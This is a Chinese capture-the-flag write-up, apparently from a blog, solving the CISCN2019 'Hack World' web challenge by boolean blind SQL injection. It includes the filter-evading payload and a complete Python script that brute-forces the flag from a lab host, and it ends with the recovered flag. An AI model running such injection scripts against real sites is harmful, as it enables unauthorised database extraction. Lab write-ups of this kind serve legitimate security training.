练习7 Web [CISCN2019 华北赛区 Day2 Web1]Hack World

Web SQL注入

试了起码8次,才拿到完整的flag,循环的时候老是会漏字符,必须设置post请求的timeout = None,并且在post请求前添加sleep(0.07),否则可能出现漏掉字符的情况,这个0.07s还是一点点试出来的,有没有大神能解释一下为什么?非常感谢。

题目提示信息:flag{} 里为 uuid

打开靶机,表名叫flag,列名叫flag,不知道是不是真的,开找
在这里插入图片描述
提交为post请求,尝试直接提交sql语句,有SQL语句检测
在这里插入图片描述
输入数字1、2的返回值不同,

1的返回值
在这里插入图片描述
2的返回值
在这里插入图片描述
汇总:
提交1,2:返回两段不同的英文
提交其他数字:返回Error Occured When Fetch Result.
提交其他类型字符:返回bool(false)
和布尔类型有关
SQL盲注注入——布尔型
在这里插入图片描述
参考上面提到的博客,看看能用哪个函数
经过尝试,提交:if(1=2,1,2)时,返回如下
在这里插入图片描述
构造语句:
if(ascii(substr((select(flag)from(flag)),1,1))=ascii(‘f’),1,2)
如果列中第一个字符为不为‘f’,那么就会返回2的返回值‘Do you want to be my girlfriend?’

在这里插入图片描述
验证第一个字符为‘f’,后面可以手动依次输出flag
参考其他wp,撰写脚本代码:
参考:
https://www.cnblogs.com/zzjdbk/p/13650826.html
python中的%用法

# 布尔盲注脚本
import requests
import time
s = requests.session()
flag = ''
count = 0  # 若count==1,则flag已找到

for i in range(1, 60):  # 假设flag最长60位
    if count == 1:
        break

    for j in range(32,128):  # 32-128 对应ASCII码表十进制数对应的字符,刚好把flag中常见的特殊字符也包括在内,例如“-”

        url = "http://5f34c2c6-ab9b-4ddc-b4a9-86cc74736372.node5.buuoj.cn:81//index.php"
        # %是字符格式化的用法, %后的字符会被放入 %前的字符串中占位符所在的位置
        sqls = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {"id": sqls}
        time.sleep(0.07)

        c = s.post(url, data=data,timeout=None)  # 不设置超时timeout = none
        c.encoding = c.apparent_encoding

        if 'Hello, glzjin wants a girlfriend.' in c.text:
            tmp = chr(j)
            flag += str(tmp)
            print(flag)
            break

        # if "}" in flag:
        #     print(flag)
        #     count = 1
        #     break

试了起码8次,才拿到完整的flag,循环的时候老是会漏字符,必须设置post请求的timeout = None,并且在post请求前添加sleep(0.07),否则可能出现漏掉字符的情况,这个0.07s还是一点点试出来的,有没有大神能解释一下为什么?非常感谢。
如下图,得到flag{ee022b6e-73ec-40c6-abe1-05e7ac2d0034}
在这里插入图片描述

附表:ASCII 对应表
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值